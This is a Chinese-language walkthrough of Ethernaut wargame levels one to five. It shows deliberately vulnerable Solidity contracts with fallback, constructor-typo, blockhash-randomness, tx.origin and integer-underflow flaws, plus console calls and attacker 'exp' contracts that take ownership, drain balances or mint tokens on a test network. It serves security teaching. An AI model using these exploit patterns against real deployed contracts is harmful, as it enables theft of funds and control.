0x1
Ethernaut是一个类似于VULHUB的集成了众多存在安全问题的智能合约靶场,适合智能和合约的开发人员审计人员进行学习
平台地址 https://ethernaut.openzeppelin.com/
在线调试IDE http://remix.ethereum.org/
0x2 开始前的准备
使用谷歌浏览器在拓展商店,安装MetaMask钱包
自行注册钱包账号以后,将网络切换到Ropsten测试网络
获取测试网络以太币 https://faucet.metamask.io/
获取一个以太币
保证钱包里面是有钱的,要不然是做不了题目的
0关是教程,熟悉用控制台操作,这里不详述了,有兴趣的自己去看
我们直接从第一关开始:
源代码
pragma solidity ^0.4.18;
contract Fallback{
using SafeMath for uint256;
mapping(address => uint) public contributions;
//构造函数,给创造者1000个eth的代币
function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}
//每次转账只能小于0.001个eth,转多少个eth,就增加同额度的代币,代币最多的人合约所有权
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] = contributions[msg.sender].add(msg.value);
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
//获取代币的余额
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
//取走ETH
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
//fallback函数,用于接收用户向合约发送的代币,如果转入的金额和代币的金额不等于0,将获得合约所有权
function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
题目要求
- 您要求合同所有权
- 您将其余额减少到0
分析源代码有两个方式可以,获取合约的所有权
一是contribute函数,每次转账转0.001个eth,然后转1000个就可以得到了,差不多要1000000,且不说手续费,要时间都要转几天
二就是通过 fallback函数,如果转入的金额和代币的金额不等于0,将获得合约所有权
要调用fallback函数,只需要向合约地址转账就可以了
contract.contribute({value:1})//调用合约中contribute函数,转账,增加一个代币
contract.sendTransaction({value:1}) //触发fallback函数
contract.owner() 查看合约所有者
到现在合约所有者地址已经变成我们的地址了
contract.withdraw() //调用函数取款
合约余额为0
点击提交,即可进入下一关
第二关
关卡要求:
要求获取合约所有权
源代码
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallout is Ownable {
using SafeMath for uint256;
mapping (address => uint) allocations;
//Fal1out中的中的第二个l,实际上是一,所以并不是析构函数,可以直接调用
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
//接受转账函数,增加同等代币
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
//转账函数,往地址转代币
function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
//取款
function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}
//查询代币余额
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
整个源代码涉及owner的,只有Fal1out构造函数,而且函数修饰符为public,可以直接调用
contract.Fal1out()
owner已经变成我们的地址了,过关!
第三关
要求
这是一个抛硬币游戏,你需要通过猜测抛硬币的结果来建立你的连胜。
要完成这一关,你需要用你的通灵能力连续猜10次正确的结果。
源码
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
//构造函数,设置猜对次数为0
function CoinFlip() public {
consecutiveWins = 0;
}
//获取上一个区块的hash,blockValue/FACTR,得到1或者0,然后和我们猜测的结果进行比较,如果猜对了,consecutiveWins+1,如果错了consecutiveWins清零
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
问题的关键是前一个区块的hash,前一个区块的值确实是随机的,但是因为一个块当然并不只有一个交易,所以我们完全可以先运行一次这个算法,看当前块下得到的coinflip是1还是0然后选择对应的guess
不过因为块之间的间隔也只有10s左右,要手工在命令行下完成这一系列操作还是有点困难,所以我们这里选择在链上另外部署一个合约来完成这个操作,要用魔法来打败魔法,可以用在线IDE部署
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
contract exp {
CoinFlip fliphack;
address target = 这里是靶机合约的地址;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function exp() {
fliphack = CoinFlip(target);
}
function pre_result() public view returns (bool){
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
return coinFlip == 1 ? true : false;
}
function hack() public {
bool guess = pre_result();
fliphack.flip(guess);
}
}
部署exp类
一直调用hack方法,直到contract.consecutiveWins()等于10
过关
第四关
要求获得合约所有权
源码
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
这题一眼就能看出来只要tx.origin != msg.sender
,就能获得所有权
tx.origin是交易发送者
msg.sende是消息发送者
一般情况下是相等的,但是如果和上题一样,通过一个合约来调用另一个合约,这两个就是不相等了,tx为我们的地址,msg为中间合约的地址
在IDE上测试一下
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract exp{
Telephone expTelephone;
function exp() public{
expTelephone = Telephone(合约的地址);
expTelephone.changeOwner(你的钱包的地址);
}
}
部署exp类,部署成功就攻击成功了
第五关:
要求
你有20个代币开始,如果你设法得到任何额外的代币,你将超过这一水平。
最好是大量的令牌
源码
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
//转账函数
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
//查询代币余额
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
这里的所有整数变量都是由uint修饰的,代表无符号整数,所以当转21的时候则会发生下溢,导致数值变大其数值为2^256 - 1
contract.transfer(0x80C2d71F2Ac4E53F6ddD25b25c57ecB48Ac73857,21)
现在在看我们的代币
过关!